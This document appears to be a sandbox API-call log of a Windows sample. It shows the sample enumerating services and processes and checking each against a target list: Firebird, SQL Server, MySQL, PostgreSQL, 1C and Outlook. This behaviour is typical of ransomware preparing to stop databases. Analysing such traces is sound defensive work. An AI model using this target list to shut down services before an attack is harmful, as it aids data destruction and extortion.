[0030.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0030.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0030.230] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0030.230] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0030.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0030.230] lstrlenW (lpString="DcomLaunch") returned 10 [0030.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0030.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0030.230] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0030.230] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0030.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0030.230] lstrlenW (lpString="Dhcp") returned 4 [0030.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0030.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0030.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0030.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0030.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0030.230] lstrlenW (lpString="Dnscache") returned 8 [0030.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0030.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0030.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0030.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0030.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0030.231] lstrlenW (lpString="DPS") returned 3 [0030.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0030.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0030.231] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0030.231] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0030.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0030.231] lstrlenW (lpString="eventlog") returned 8 [0030.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0030.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0030.231] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0030.231] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0030.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0030.231] lstrlenW (lpString="EventSystem") returned 11 [0030.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0030.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0030.231] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0030.231] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0030.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0030.231] lstrlenW (lpString="gpsvc") returned 5 [0030.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0030.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0030.231] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0030.231] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0030.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0030.231] lstrlenW (lpString="iphlpsvc") returned 8 [0030.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0030.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0030.232] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0030.232] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0030.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0030.232] lstrlenW (lpString="LanmanServer") returned 12 [0030.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0030.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0030.232] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0030.232] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0030.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0030.232] lstrlenW (lpString="LanmanWorkstation") returned 17 [0030.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0030.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0030.232] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0030.232] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0030.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0030.232] lstrlenW (lpString="lmhosts") returned 7 [0030.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0030.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0030.232] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0030.232] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0030.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0030.232] lstrlenW (lpString="MMCSS") returned 5 [0030.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0030.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0030.232] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0030.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0030.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0030.232] lstrlenW (lpString="MpsSvc") returned 6 [0030.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0030.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0030.233] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0030.233] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0030.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0030.233] lstrlenW (lpString="Netman") returned 6 [0030.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0030.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0030.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0030.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0030.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0030.233] lstrlenW (lpString="netprofm") returned 8 [0030.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0030.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0030.233] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0030.233] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0030.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0030.233] lstrlenW (lpString="NlaSvc") returned 6 [0030.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0030.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0030.233] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0030.233] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0030.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0030.234] lstrlenW (lpString="nsi") returned 3 [0030.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0030.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0030.234] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0030.234] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0030.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0030.234] lstrlenW (lpString="PcaSvc") returned 6 [0030.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0030.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0030.234] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0030.234] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0030.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0030.234] lstrlenW (lpString="PlugPlay") returned 8 [0030.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0030.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0030.234] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0030.234] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0030.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0030.234] lstrlenW (lpString="Power") returned 5 [0030.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0030.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0030.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0030.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0030.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0030.234] lstrlenW (lpString="ProfSvc") returned 7 [0030.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0030.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0030.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0030.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0030.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0030.235] lstrlenW (lpString="RpcEptMapper") returned 12 [0030.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0030.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0030.235] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0030.235] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0030.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0030.235] lstrlenW (lpString="RpcSs") returned 5 [0030.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0030.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0030.235] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0030.235] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0030.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0030.235] lstrlenW (lpString="SamSs") returned 5 [0030.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0030.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0030.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0030.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0030.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0030.235] lstrlenW (lpString="Schedule") returned 8 [0030.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0030.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0030.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0030.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0030.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0030.235] lstrlenW (lpString="SENS") returned 4 [0030.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0030.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0030.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0030.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0030.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0030.235] lstrlenW (lpString="ShellHWDetection") returned 16 [0030.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0030.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0030.236] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0030.236] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0030.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0030.236] lstrlenW (lpString="Spooler") returned 7 [0030.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0030.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0030.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0030.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0030.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0030.236] lstrlenW (lpString="SysMain") returned 7 [0030.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0030.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0030.236] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0030.236] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0030.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0030.236] lstrlenW (lpString="Themes") returned 6 [0030.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0030.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0030.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0030.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0030.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0030.236] lstrlenW (lpString="TrkWks") returned 6 [0030.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0030.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0030.236] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0030.236] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0030.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0030.236] lstrlenW (lpString="UxSms") returned 5 [0030.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0030.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0030.237] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0030.237] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0030.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0030.237] lstrlenW (lpString="WdiServiceHost") returned 14 [0030.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0030.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0030.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0030.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0030.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0030.237] lstrlenW (lpString="WdiSystemHost") returned 13 [0030.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0030.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0030.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0030.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0030.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0030.237] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0030.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0030.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0030.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0030.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0030.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0030.237] lstrlenW (lpString="Winmgmt") returned 7 [0030.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0030.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0030.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0030.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0030.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0030.237] lstrlenW (lpString="WPDBusEnum") returned 10 [0030.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0030.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0030.238] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0030.238] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0030.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0030.238] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6291f0 | out: hHeap=0x5f0000) returned 1 [0030.238] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0030.241] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0030.242] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0030.242] lstrlenW (lpString="System") returned 6 [0030.242] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0030.242] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0030.242] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0030.242] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0030.242] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0030.242] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0030.243] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0030.243] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0030.243] lstrlenW (lpString="smss.exe") returned 8 [0030.243] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0030.243] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0030.243] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0030.243] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0030.243] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0030.243] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0030.243] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0030.243] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0030.244] lstrlenW (lpString="csrss.exe") returned 9 [0030.244] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0030.244] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0030.244] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0030.244] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0030.244] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0030.244] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0030.244] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0030.244] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0030.245] lstrlenW (lpString="wininit.exe") returned 11 [0030.245] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0030.245] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0030.245] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0030.245] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0030.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0030.245] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0030.245] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0030.245] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0030.246] lstrlenW (lpString="csrss.exe") returned 9 [0030.246] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0030.246] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0030.246] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0030.246] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0030.246] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0030.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0030.246] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0030.247] lstrlenW (lpString="winlogon.exe") returned 12 [0030.247] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0030.248] lstrlenW (lpString="services.exe") returned 12 [0030.248] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0030.249] lstrlenW (lpString="lsass.exe") returned 9 [0030.249] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0030.249] lstrlenW (lpString="lsm.exe") returned 7 [0030.250] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.250] lstrlenW (lpString="svchost.exe") returned 11 [0030.250] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.251] lstrlenW (lpString="svchost.exe") returned 11 [0030.251] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.252] lstrlenW (lpString="svchost.exe") returned 11 [0030.252] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.252] lstrlenW (lpString="svchost.exe") returned 11 [0030.252] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.253] lstrlenW (lpString="svchost.exe") returned 11 [0030.253] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0030.254] lstrlenW (lpString="audiodg.exe") returned 11 